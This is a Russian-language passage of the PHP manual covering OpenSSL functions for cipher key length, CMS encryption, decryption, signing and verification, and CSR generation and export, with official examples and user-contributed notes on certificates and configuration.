  • Получает длину ключа шифрования

openssl_cipher_key_length

(PHP 8 >= 8.2.0)

openssl_cipher_key_length — Получает длину ключа шифрования

Описание

openssl_cipher_key_length(string $cipher_algo): int|false

Получает длину ключа шифрования.

Список параметров

cipher_algo

Метод шифрования, список возможных значений смотрите в описании функции openssl_get_cipher_methods().

Возвращаемые значения

Возвращает длину шифра в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Выдаёт ошибку уровня E_WARNING, если алгоритм шифрования неизвестен.

Примеры

Пример #1 Пример использования openssl_cipher_key_length()

<?php
$method = 'AES-128-CBC';

var_dump(openssl_cipher_key_length($method));
?>

Результатом выполнения данного примера будет что-то подобное:

int(16)

User Contributed Notes

There are no user contributed notes for this page.


Расшифровывает CMS-сообщение

  • « openssl_cipher_key_length
  • openssl_cms_encrypt »
  • PHP Manual
  • Функции OpenSSL
  • Расшифровывает CMS-сообщение

openssl_cms_decrypt

(PHP 8)

openssl_cms_decrypt — Расшифровывает CMS-сообщение

Описание

openssl_cms_decrypt(
string $input_filename,
string $output_filename,
OpenSSLCertificate|string $certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string|null $private_key = null,
int $encoding = OPENSSL_ENCODING_SMIME
): bool

Расшифровывает CMS-сообщение.

Список параметров

input_filename

Имя файла, содержащего зашифрованное содержимое.

output_filename

Имя файла для хранения расшифрованного содержимого.

certificate

Имя файла, содержащего сертификат получателя.

private_key

Имя файла, содержащего ключ PKCS#8.

encoding

Кодировка входного файла. OPENSSL_ENCODING_SMIME, OPENSSL_ENCODING_DER или OPENSSL_ENCODING_PEM.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Sebastian 28-Feb-2021 09:25
It took me a while to find out the correct way how to decrypt and verify data with these functions.
I needed that to communicate with German Health Insurance Providers as part of a DiGA. Maybe someone finds that useful.

<?php
function decryptAndVerify($signedAndEncryptedRawData): string
{
    $tempDir = __DIR__ . '/tmp';
    $originalFile = tempnam($tempDir, 'original');
    $decryptedFile = tempnam($tempDir, 'decrypted');
    $verifiedFile = tempnam($tempDir, 'verified');

    file_put_contents($originalFile, $signedAndEncryptedRawData);

    // One file with all possible certificates one after the other
    // -----BEGIN CERTIFICATE----- ...-----END CERTIFICATE-----
    $allPossibleSenderCertificates = __DIR__ . '/untrusted.pem';

    // Certificate:
    //    Data:
    //        Version: 3 (0x2)...
    $myCertificate = file_get_contents(__DIR__ . '/my.crt');
    $myPrivateKey = openssl_pkey_get_private(
    // -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----
        file_get_contents(__DIR__ . '/my.prv.key.pem')
    );

    openssl_cms_decrypt(
        input_filename: $originalFile,
        output_filename: $decryptedFile,
        certificate: $myCertificate,
        private_key: $myPrivateKey,
        encoding: OPENSSL_ENCODING_DER
    );

    openssl_cms_verify(
        input_filename: $decryptedFile,
        flags: OPENSSL_CMS_BINARY | OPENSSL_CMS_NOSIGS | OPENSSL_CMS_NOVERIFY,
        ca_info: [],
        untrusted_certificates_filename: $allPossibleSenderCertificates,
        content: $verifiedFile,
        encoding: OPENSSL_ENCODING_DER
    );
    return file_get_contents($verifiedFile);
}


Зашифровывает CMS-сообщение

  • « openssl_cms_decrypt
  • openssl_cms_read »
  • PHP Manual
  • Функции OpenSSL
  • Зашифровывает CMS-сообщение

openssl_cms_encrypt

(PHP 8)

openssl_cms_encrypt — Зашифровывает CMS-сообщение

Описание

openssl_cms_encrypt(
string $input_filename,
string $output_filename,
OpenSSLCertificate|array|string $certificate,
?array $headers,
int $flags = 0,
int $encoding = OPENSSL_ENCODING_SMIME,
int $cipher_algo = OPENSSL_CIPHER_AES_128_CBC
): bool

Шифрует содержимое для одного или нескольких получателей на основе переданных ему сертификатов.

Список параметров

input_filename

Файл, который нужно зашифровать.

output_filename

Выходной файл.

certificate

Получатели, для которых производится шифрование.

headers

Заголовки, которые будут включены при использовании S/MIME.

flags

Флаги, передаваемые CMS_sign.

encoding

Кодировка для вывода. OPENSSL_ENCODING_SMIME, OPENSSL_ENCODING_DER или OPENSSL_ENCODING_PEM.

cipher_algo

Используемый алгоритм шифрования.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Алгоритм шифрования по умолчанию (cipher_algo) теперь AES-128-CBC (OPENSSL_CIPHER_AES_128_CBC). Ранее использовался алгоритм PKCS7/CMS (OPENSSL_CIPHER_RC2_40).

User Contributed Notes

Sebastian 28-Feb-2021 09:13
It took me a while to find out the correct way how to sign and encrypt data with these functions.
I needed that to communicate with German Health Insurance Providers as part of a DiGA. Maybe someone finds that useful.

<?php
function signAndEncrypt(string $rawData): string
{
    $tempDir = __DIR__ . '/tmp';
    $tempfileOriginal = tempnam($tempDir, 'original');
    $tempfileSigned = tempnam($tempDir, 'signed');
    $tempfileEncrypted = tempnam($tempDir, 'signedEncrypted');

    file_put_contents($tempfileOriginal, $rawData);

    // pick the correct certificate for the recipient
    $recipientsCertificateFile = __DIR__ . '/recipientsCertificate.pem';
    // -----BEGIN CERTIFICATE----- ...-----END CERTIFICATE-----
    $recipientsCertificate = file_get_contents($recipientsCertificateFile);

    // Certificate:
    //    Data:
    //        Version: 3 (0x2)...
    $myCertificate = file_get_contents(__DIR__ . '/my.crt');
    $myPrivateKey = openssl_pkey_get_private(
        // -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----
        file_get_contents(__DIR__ . '/my.prv.key.pem')
    );

    openssl_cms_sign(
        input_filename: $tempfileOriginal,
        output_filename: $tempfileSigned,
        certificate: $myCertificate,
        private_key: $myPrivateKey,
        headers: [],
        encoding: OPENSSL_ENCODING_DER,
    );

    openssl_cms_encrypt(
        input_filename: $tempfileSigned,
        output_filename: $tempfileEncrypted,
        certificate: $recipientsCertificate,
        headers: [],
        flags: OPENSSL_CMS_BINARY | OPENSSL_CMS_NOSIGS | OPENSSL_CMS_NOVERIFY,
        encoding: OPENSSL_ENCODING_DER,
        cipher_algo: OPENSSL_CIPHER_AES_256_CBC
    );
    return file_get_contents($tempfileEncrypted);
}


Экспортирует файл CMS в массив сертификатов PEM

  • « openssl_cms_encrypt
  • openssl_cms_sign »
  • PHP Manual
  • Функции OpenSSL
  • Экспортирует файл CMS в массив сертификатов PEM

openssl_cms_read

(PHP 8)

openssl_cms_read — Экспортирует файл CMS в массив сертификатов PEM

Описание

openssl_cms_read(string $input_filename, array &$certificates): bool

Работает аналогично openssl_pkcs7_read().

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

input_filename

certificates

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Подписывает файл

  • « openssl_cms_read
  • openssl_cms_verify »
  • PHP Manual
  • Функции OpenSSL
  • Подписывает файл

openssl_cms_sign

(PHP 8)

openssl_cms_sign — Подписывает файл

Описание

openssl_cms_sign(
string $input_filename,
string $output_filename,
OpenSSLCertificate|string $certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
?array $headers,
int $flags = 0,
int $encoding = OPENSSL_ENCODING_SMIME,
?string $untrusted_certificates_filename = null
): bool

Подписывает файл сертификатом X.509 и ключом.

Список параметров

input_filename

Имя файла для подписи.

output_filename

Имя файла для хранения результатов.

certificate

Сертификат подписи. Смотрите параметры ключа/сертификата для получения списка допустимых значений.

private_key

Ключ, связанный с certificate. Смотрите параметры ключа/сертификата для получения списка допустимых значений.

headers

Массив заголовков для включения в вывод S/MIME.

flags

Флаги, передаваемые cms_sign().

encoding

Кодировка выходного файла. OPENSSL_ENCODING_SMIME, OPENSSL_ENCODING_DER или OPENSSL_ENCODING_PEM.

untrusted_certificates_filename

Промежуточные сертификаты, включаемые в подпись.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования openssl_cms_sign()

<?php
openssl_cms_sign('input.txt', 'output.txt', 'file://cert.pem', 'file://privkey.pem', null, OPENSSL_CMS_BINARY, OPENSSL_ENCODING_DER, 'chain.pem');
?>

User Contributed Notes

miranda dot markmorgan at gmail dot com 01-May-2021 11:30
Manage to make it work at last.

$dn = array(
    "countryName" => "XX",
    "stateOrProvinceName" => "Location",
    "localityName" => "Local",
    "organizationName" => "Sample Organization",
    "organizationalUnitName" => "Organizational Unit",
    "commonName" => "Sample",
    "emailAddress" => "contactus@email.com"
);

// Generate a new private (and public) key pair
$privkey = openssl_pkey_new(array(
    "private_key_bits" => 4096,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
));

// Generate a certificate signing request
$csr = openssl_csr_new($dn, $privkey, array('digest_alg' => 'sha512'));

// Generate a self-signed cert, valid for 365 days
$x509 = openssl_csr_sign($csr, null, $privkey, $days=365, array('digest_alg' => 'sha512'));

// Save your private key, CSR and self-signed cert for later use
openssl_csr_export($csr, $csrout) and var_dump($csrout); // .csr
openssl_x509_export($x509, $certout) and var_dump($certout); // .crt.pem
openssl_pkey_export($privkey, $pkeyout, "user_defined_password") and var_dump($pkeyout); // .key.pem

if(openssl_cms_sign ( "file_to_sign", "Sample.p7m" , $x509 , $privkey, null , 0 , 0 , null )){
    echo "SIGNED SUCCESSFULLY! Sample.p7m created... \r\n";
}
else
{
    echo "SIGNED FAILED!\r\n";
}


Проверяет подпись CMS

  • « openssl_cms_sign
  • openssl_csr_export_to_file »
  • PHP Manual
  • Функции OpenSSL
  • Проверяет подпись CMS

openssl_cms_verify

(PHP 8)

openssl_cms_verify — Проверяет подпись CMS

Описание

openssl_cms_verify(
string $input_filename,
int $flags = 0,
?string $certificates = null,
array $ca_info = [],
?string $untrusted_certificates_filename = null,
?string $content = null,
?string $pk7 = null,
?string $sigfile = null,
int $encoding = OPENSSL_ENCODING_SMIME
): bool

Проверяет подпись CMS, прикреплённую или отсоединённую, с указанной кодировкой.

Список параметров

input_filename

Входной файл.

flags

Флаги, передаваемые cms_verify().

certificates

Файл с сертификатом подписавшего и, по выбору, промежуточными сертификатами.

ca_info

Массив, содержащий самозаверенные сертификаты центра сертификации.

untrusted_certificates_filename

Файл, содержащий дополнительные промежуточные сертификаты.

content

Файл, указывающий на содержимое, когда подписи отсоединены.

pk7

sigfile

Файл, в который нужно сохранить подпись.

encoding

Кодировка входного файла. OPENSSL_ENCODING_SMIME, OPENSSL_ENCODING_DER или OPENSSL_ENCODING_PEM.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует CSR в файл

  • « openssl_cms_verify
  • openssl_csr_export »
  • PHP Manual
  • Функции OpenSSL
  • Экспортирует CSR в файл

openssl_csr_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_export_to_file — Экспортирует CSR в файл

Описание

openssl_csr_export_to_file(OpenSSLCertificateSigningRequest|string $csr, string $output_filename, bool $no_text = true): bool

openssl_csr_export_to_file() записывает запрос на подпись сертификата csr в формате PEM в файл output_filename.

Список параметров

csr

Для получения списка допустимых значений смотрите параметры CSR.

output_filename

Путь к файлу.

no_text

Необязательный параметр notext влияет на детализацию сообщений вывода; если он установлен в false, то в вывод добавляется дополнительная человекочитаемая информация. Значением по умолчанию notext является true.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | csr теперь принимает экземпляр OpenSSLCertificateSigningRequest; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.

Примеры

Пример #1 Пример использования openssl_csr_export_to_file()

<?php
$subject = array(
"commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha384') );
openssl_pkey_export_to_file($private_key, 'example-priv.key');
// Наряду с объектом, CSR содержит открытый ключ, соответствующий секретному ключу
openssl_csr_export_to_file($csr, 'example-csr.pem');
?>

Смотрите также

  • openssl_csr_export() - Экспортирует CSR в виде строки
  • openssl_csr_new() - Генерирует CSR
  • openssl_csr_sign() - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует CSR в виде строки

  • « openssl_csr_export_to_file
  • openssl_csr_get_public_key »
  • PHP Manual
  • Функции OpenSSL
  • Экспортирует CSR в виде строки

openssl_csr_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_export — Экспортирует CSR в виде строки

Описание

openssl_csr_export(OpenSSLCertificateSigningRequest|string $csr, string &$output, bool $no_text = true): bool

openssl_csr_export() записывает запрос на подпись сертификата csr в формате PEM в переменную output, которая передаётся по ссылке.

Список параметров

csr

Для получения списка допустимых значений смотрите параметры CSR.

output

В случае успешного выполнения, в этой переменной будет сохранён CSR в формате PEM.

no_text

Необязательный параметр notext влияет на детализацию сообщений вывода; если он установлен в false, то в вывод добавляется дополнительная человекочитаемая информация. Значением по умолчанию notext является true.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | csr теперь принимает экземпляр OpenSSLCertificateSigningRequest; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.

Примеры

Пример #1 Пример использования openssl_csr_export()

<?php
$subject = array(
"commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$configargs = array(
'digest_alg' => 'sha256WithRSAEncryption'
);
$csr = openssl_csr_new($subject, $private_key, $configargs);
openssl_csr_export($csr, $csr_string);
echo $csr_string;
?>

Смотрите также

  • openssl_csr_export_to_file() - Экспортирует CSR в файл
  • openssl_csr_new() - Генерирует CSR
  • openssl_csr_sign() - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

User Contributed Notes

carlos AT wfmh DOT org DOT pl 26-Jun-2002 07:44
Here you come with the example of how to use this function.

if( $csr = openssl_csr_new( array(
     "countryName"=>"PL",
     "stateOrProvinceName" => "blah",
     "organizationName" => "company ltd",
     "commonName"=>"foo.bar.com",
     "Email"=>"blah@foo.bar.com"), $privkey )
                  )
   {
   openssl_csr_export_to_file( $csr, "out.csr");
   }
else
   {
   printf("failed\n");
   }

Keep in mind that keys are case sensitive (i.e. give "email" instead of "Email" and you get warning). Also remember it's important to keep the order of the arguments in array. Move the "Email" above commonName and check what you get (in case you don't know how: "openssl req -noout -text -in out.csr").

It also happened to me me I got segfault when order was rubbish (afair Email after countryName, or plenty Email's here and there), so be awared.


Возвращает открытый ключ CSR

  • « openssl_csr_export
  • openssl_csr_get_subject »
  • PHP Manual
  • Функции OpenSSL
  • Возвращает открытый ключ CSR

openssl_csr_get_public_key

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_csr_get_public_key — Возвращает открытый ключ CSR

Описание

openssl_csr_get_public_key(OpenSSLCertificateSigningRequest|string $csr, bool $short_names = true): OpenSSLAsymmetricKey|false

openssl_csr_get_public_key() извлекает открытый ключ из csr и подготавливает его для использования в других функциях.

Список параметров

csr

Для получения списка допустимых значений смотрите параметры CSR.

short_names
Внимание

Этот параметр игнорируется

Возвращаемые значения

Возвращает OpenSSLAsymmetricKey в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения возвращает экземпляр OpenSSLAsymmetricKey; ранее возвращался ресурс (resource) типа OpenSSL key.
8.0.0 | csr теперь принимает экземпляр OpenSSLCertificateSigningRequest; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.

Примеры

Пример #1 Пример использования openssl_csr_get_public_key()

<?php
$subject = array(
"commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha256') );
$public_key = openssl_csr_get_public_key($csr);
$info = openssl_pkey_get_details($public_key);
echo $info['key'];
?>

Смотрите также

  • openssl_csr_get_subject() - Возвращает субъект CSR
  • openssl_csr_new() - Генерирует CSR
  • openssl_pkey_get_details() - Получает массив с детальной информацией о ключе
  • openssl_pkey_export_to_file() - Записывает в файл ключ в формате PEM
  • openssl_pkey_export() - Получает строку с ключом в формате PEM

User Contributed Notes

php at siemenroorda dot nl 29-Sep-2009 07:44
Function openssl_pkey_get_details can read this resource. Try:

<?php
  print_r(openssl_pkey_get_details(openssl_csr_get_public_key($csr)));
?>


Возвращает субъект CSR

  • « openssl_csr_get_public_key
  • openssl_csr_new »
  • PHP Manual
  • Функции OpenSSL
  • Возвращает субъект CSR

openssl_csr_get_subject

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_csr_get_subject — Возвращает субъект CSR

Описание

openssl_csr_get_subject(OpenSSLCertificateSigningRequest|string $csr, bool $short_names = true): array|false

openssl_csr_get_subject() возвращает известную об субъекте информацию закодированную в csr, включая поля commonName (CN), organizationName (O), countryName (C) и т.д.

Список параметров

csr

Для получения списка допустимых значений смотрите параметры CSR.

short_names

shortnames определяет, как данные индексируются в массиве, если shortnames задан как true (по умолчанию), то поля будут индексированы именами в коротком формате, в противном случае будут использованы длинные имена. Например, CN - короткое имя для commonName.

Возвращаемые значения

Возвращает ассоциативный массив с описанием субъекта или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | csr теперь принимает экземпляр OpenSSLCertificateSigningRequest; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.

Примеры

Пример #1 Пример использования openssl_csr_get_subject()

<?php
$subject = array(
"countryName" => "CA",
"stateOrProvinceName" => "Alberta",
"localityName" => "Calgary",
"organizationName" => "XYZ Widgets Inc",
"organizationalUnitName" => "PHP Documentation Team",
"commonName" => "Wez Furlong",
"emailAddress" => "wez@example.com",
);
$private_key = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$configargs = array(
'digest_alg' => 'sha512WithRSAEncryption'
);
$csr = openssl_csr_new($subject, $privkey, $configargs);
print_r(openssl_csr_get_subject($csr));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [C] => CA
    [ST] => Alberta
    [L] => Calgary
    [O] => XYZ Widgets Inc
    [OU] => PHP Documentation Team
    [CN] => Wez Furlong
    [emailAddress] => wez@example.com
)

Смотрите также

  • openssl_csr_new() - Генерирует CSR
  • openssl_csr_get_public_key() - Возвращает открытый ключ CSR
  • openssl_x509_parse() - Разобрать сертификат X509 и получить массив с данными о нем

User Contributed Notes

Steve 27-May-2016 12:51
This function may not return name fields in the order they appear in the certificate.  For example, this CSR:

-----BEGIN CERTIFICATE REQUEST-----
MIHsMIGUAgEAMDIxEDAOBgNVBAsMB3VuaXQgIzExDDAKBgNVBAoMA29yZzEQMA4G
A1UECwwHdW5pdCAjMjBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABGvZnFxGuVzJ
hOKPs5RNxZBS4vY6ERaqm5tKMGOhxLSfv/dpjDtNNdSHkIGNjYxclHYhxG0ku7BY
PA5uPIjng1SgADAKBggqhkjOPQQDAgNHADBEAiB4GXhhbEU1UFTCe0dwJnKHTQuI
xzYL5FnyhmKdixN/0gIgBXSm9S8L/oJ6rBxemin/V/xKv5jy4TEZuz84nnshxQQ=
-----END CERTIFICATE REQUEST-----

When processed by 'openssl -noout -subject' gives this:

subject=/OU=unit #1/O=org/OU=unit #2

On the other hand, 'var_dump( openssl_csr_get_subject( "..." ) )' will produce this:

csr = array(2) {
  ["OU"]=>
  array(2) {
    [0]=>
    string(7) "unit #1"
    [1]=>
    string(7) "unit #2"
  }
  ["O"]=>
  string(3) "org"
}

As you can see, ordering information (which may be important for some applications) is lost.
pdm at wp dot pl 21-Aug-2015 10:11
openssl_csr_get_subject('somedomain.com',false);
return
array(7) {
  ["countryName"]=> string "XX"
  ["stateOrProvinceName"]=> string "xxxxxxxxx"
  ["localityName"]=> string "xxxxxxxx"
  ["organizationName"]=> string "xxxxxxxxx"
  ["organizationalUnitName"]=>string "xxxx"
  ["commonName"]=>string "xxx"
  ["emailAddress"]=>string "xxx"
}

 openssl_csr_get_subject('somedomain.com',true);
return
array(7) {
  ["C"]=> string "XX"
  ["ST"]=> string "xxxxxxxxx"
  ["L"]=> string "xxxxxxxx"
  ["O"]=> string "xxxxxxxxx"
  ["OU"]=>string "xxxx"
  ["CN"]=>string "xxx"
  ["emailAddress"]=>string "xxx"
}
mikko koivu 21-Jul-2010 09:10
this function does not yet return SANs (subject alternative names) fields for UC certificates like those used in exchange 2007.
stephan[at]strato-rz[dot]de 21-Jan-2009 01:13
The returning assoziative array is indexed with the fields
in the subject so you should have a array key named CN,OU and so on.


Генерирует CSR

  • « openssl_csr_get_subject
  • openssl_csr_sign »
  • PHP Manual
  • Функции OpenSSL
  • Генерирует CSR

openssl_csr_new

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_new — Генерирует CSR

Описание

openssl_csr_new(
array $distinguished_names,
OpenSSLAsymmetricKey &$private_key,
?array $options = null,
?array $extra_attributes = null
): OpenSSLCertificateSigningRequest|false

openssl_csr_new() создаёт новый CSR основываясь на информации указанной в параметре distinguished_names.

Замечание: Для корректной работы этой функции должен существовать правильный openssl.cnf. Для более подробной информации смотрите замечания под разделом установки.

Список параметров

distinguished_names

Уникальное имя (Distinguished Name) или поля субъекта для использования в сертификате.

private_key

Параметр private_key должен быть задан закрытым ключом ранее сгенерированным функцией openssl_pkey_new() (или полученный с помощью любой другой функции семейства openssl_pkey). Соответствующая открытая часть ключа будет использована для подписания CSR.

options

По умолчанию для инициализации запроса используется информация из вашего системного openssl.conf. Вы можете указать секцию конфигурационного файла путём задания ключа config_section_section в options. Также вы можете задать альтернативный файл конфигурации openssl путём задания ключа config значением пути до него. Соответствие ключей, указанных в options ключам из openssl.conf представлено ниже.

Переопределение конфигурации
Ключ options | Тип | Соответствие в openssl.conf | Описание
digest_alg | string | default_md | Один из методов openssl_get_md_methods()
x509_extensions | string | x509_extensions | Определяет, какое расширение должно использоваться для создания сертификата x509
req_extensions | string | req_extensions | Определяет, какое расширение должно использоваться для создания CSR
private_key_bits | int | default_bits | Задаёт, сколько бит должно использоваться для генерации закрытого ключа
private_key_type | int | none | Задаёт тип создаваемого закрытого ключа. Одна из констант: OPENSSL_KEYTYPE_DSA, OPENSSL_KEYTYPE_DH, OPENSSL_KEYTYPE_RSA или OPENSSL_KEYTYPE_EC. По умолчанию OPENSSL_KEYTYPE_RSA.
encrypt_key | bool | encrypt_key | Должен ли шифроваться (паролем) экспортируемый ключ?
encrypt_key_cipher | int | none | Одна из констант шифров.
curve_name | string | none | Одно из openssl_get_curve_names().
config | string | N/A | Путь до альтернативного файла конфигурации openssl.conf.

extra_attributes

extra_attributes используется для указания дополнительных опций для CSR. И distinguished_names, и extra_attributes являются ассоциативными массивами, ключи которых преобразуются в OI-ы и применяются к соответствующим частям запроса.

Возвращаемые значения

Возвращает CSR или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | csr теперь принимает экземпляр OpenSSLCertificateSigningRequest; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey; ранее принимался ресурс (resource) типа OpenSSL key.
7.1.0 | Параметр options теперь поддерживает curve_name.

Примеры

Пример #1 Создание самоподписанного сертификата

<?php
// для сервера сертификации SSL, commonName является доменным именем
// для сертификатов S/MIME, commonName является владельцем расположения адреса email
// и поля идентификации относятся к владельцу домена или электронной почты,
// подлежащим защите
$dn = array(
"countryName" => "GB",
"stateOrProvinceName" => "Somerset",
"localityName" => "Glastonbury",
"organizationName" => "The Brain Room Limited",
"organizationalUnitName" => "PHP Documentation Team",
"commonName" => "Wez Furlong",
"emailAddress" => "wez@example.com"
);

// Создание пары закрытый/открытый ключ
$privkey = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));

// Создание CSR
$csr = openssl_csr_new($dn, $privkey, array('digest_alg' => 'sha256'));

// Создание самоподписанного сертификата со сроком жизни 365 дней
$x509 = openssl_csr_sign($csr, null, $privkey, $days=365, array('digest_alg' => 'sha256'));

// Сохранение закрытого ключа, CSR и самоподписанного сертификата
openssl_csr_export($csr, $csrout) and var_dump($csrout);
openssl_x509_export($x509, $certout) and var_dump($certout);
openssl_pkey_export($privkey, $pkeyout, "mypassword") and var_dump($pkeyout);

// Покажем возникшие ошибки, если они были
while (($e = openssl_error_string()) !== false) {
echo $e . "\n";
}
?>

Пример #2 Создание самоподписанного ECC сертификата (начиная с PHP 7.1.0)

<?php
$subject = array(
"commonName" => "docs.php.net",
);

// Создание пары закрытый/открытый ключ
$private_key = openssl_pkey_new(array(
"private_key_type" => OPENSSL_KEYTYPE_EC,
"curve_name" => 'prime256v1',
));

// Создание CSR
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha384'));

// Создание самоподписанного EC сертификата
$x509 = openssl_csr_sign($csr, null, $private_key, $days=365, array('digest_alg' => 'sha384'));
openssl_x509_export_to_file($x509, 'ecc-cert.pem');
openssl_pkey_export_to_file($private_key, 'ecc-private.key');
?>

Смотрите также

  • openssl_csr_sign() - Подписать CSR с помощью другого сертификата (или им же) и создать сертификат

User Contributed Notes

@operator 13-Dec-2016 02:19
One command to create modern certificate request with 4 SAN subdomain.
According to RFC you can change CN (common name) and subjectAltName. When cert validated searching in CN and subjectAltName.

openssl req -new -nodes -config <( cat <<-EOF
[req]
default_bits = 2048
prompt = no
default_md = sha256
req_extensions = re
distinguished_name = dn
[ dn ]
CN = my.tld
C = country
ST = state
L = location
O = ORGANISATION
[ re ]
subjectAltName = DNS.1: www.my.tld, DNS.2: www2.my.tld, DNS.3: www3.my.tld, DNS.4: www4.my.tld
EOF
) -keyout secret.key -out req.csr
james at kirk dot com 15-Jun-2015 06:56
When in doubt, read the source code to PHP!

$configargs is fairly opaque as to what is going on behind the scenes.  That is, until you actually look at php_openssl_parse_config() in '/ext/openssl/openssl.c':

    SET_OPTIONAL_STRING_ARG("digest_alg", req->digest_name,
        CONF_get_string(req->req_config, req->section_name, "default_md"));
    SET_OPTIONAL_STRING_ARG("x509_extensions", req->extensions_section,
        CONF_get_string(req->req_config, req->section_name, "x509_extensions"));
    SET_OPTIONAL_STRING_ARG("req_extensions", req->request_extensions_section,
        CONF_get_string(req->req_config, req->section_name, "req_extensions"));
    SET_OPTIONAL_LONG_ARG("private_key_bits", req->priv_key_bits,
        CONF_get_number(req->req_config, req->section_name, "default_bits"));

    SET_OPTIONAL_LONG_ARG("private_key_type", req->priv_key_type, OPENSSL_KEYTYPE_DEFAULT);

Here we can see that SET_OPTIONAL_STRING_ARG() is called for most inputs but for 'private_key_bits' SET_OPTIONAL_LONG_ARG() is called.  Both calls are C macros that expand to code that enforces the expected input type.  The generated code ignores the input without warning/notice if an unexpected type is used and just uses the default from the configuration file.  This is why using a string with 'private_key_bits' will result in unexpected behavior.

Further inspection of the earlier initialization in the same function:

    SET_OPTIONAL_STRING_ARG("config", req->config_filename, default_ssl_conf_filename);
    SET_OPTIONAL_STRING_ARG("config_section_name", req->section_name, "req");
    req->global_config = CONF_load(NULL, default_ssl_conf_filename, NULL);
    req->req_config = CONF_load(NULL, req->config_filename, NULL);

    if (req->req_config == NULL) {
        return FAILURE;
    }

And elsewhere in another function:

    /* default to 'openssl.cnf' if no environment variable is set */
    if (config_filename == NULL) {
        snprintf(default_ssl_conf_filename, sizeof(default_ssl_conf_filename), "%s/%s",
                X509_get_default_cert_area(),
                "openssl.cnf");
    } else {
        strlcpy(default_ssl_conf_filename, config_filename, sizeof(default_ssl_conf_filename));
    }

Reveals that 'config' in $configargs is an override for any default setting elsewhere.  This actually negates the comment in the documentation that says "Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information."  A more correct sentence would be "Note:  You need to either have a valid openssl.cnf set up or use $configargs to point at a valid openssl.cnf file for this function to operate correctly."

All of that goes to show that looking at the PHP source code is the only real way to figure out what is actually happening.  Doing so saves time and effort.
Anonymous 19-Feb-2015 04:44
For those of you using Debian-based systems, the openssl configuration file is at: /etc/ssl/openssl.cnf
alex at nodex dot co dot uk 17-Dec-2014 10:59
In the PHP example above it uses "UK" as the country name which is incorrect, the country name must be "GB"
Richard Lynch 17-Jul-2013 03:49
There appears to be no openssl_csr_free function.

At least not here.

If it's in the source, one might be able to just call it.

If it's not in the source, it probably should be.
The_Lost_One 18-Sep-2009 07:45
Not sure whether the "bug" (undocumented behavior) I encountered is common to other people, but this comment might save hours of painful debug:
If you can't generate a new private key using openssl_pkey_new() or openssl_csr_new(), your script hangs during the call of these functions and in case you specified a "private_key_bits" parameter, ensure that you cast the variable to an int. Took me ages to notice that.

<?php
$SSLcnf = array('config' => '/usr/local/nessy2/share/ssl/openssl.cnf',
        'encrypt_key' => true,
        'private_key_type' => OPENSSL_KEYTYPE_RSA,
        'digest_alg' => 'sha1',
        'x509_extensions' => 'v3_ca',
        'private_key_bits' => $someVariable // ---> bad
        'private_key_bits' => (int)$someVariable // ---> good
        'private_key_bits' => 512 // ---> obviously good
        );
?>
main ATT jokester DOTT fr 02-Sep-2008 08:09
To set the "basicConstraints" to  "critical,CA:TRUE", you have to define configargs, but in the openssl_csr_sign() function !

That's my example of code to sign a "child" certificate :

$CAcrt = "file://ca.crt";
$CAkey = array("file://ca.key", "myPassWord");

$clientKeys = openssl_pkey_new();
$dn = array(
    "countryName" => "FR",
    "stateOrProvinceName" => "Finistere",
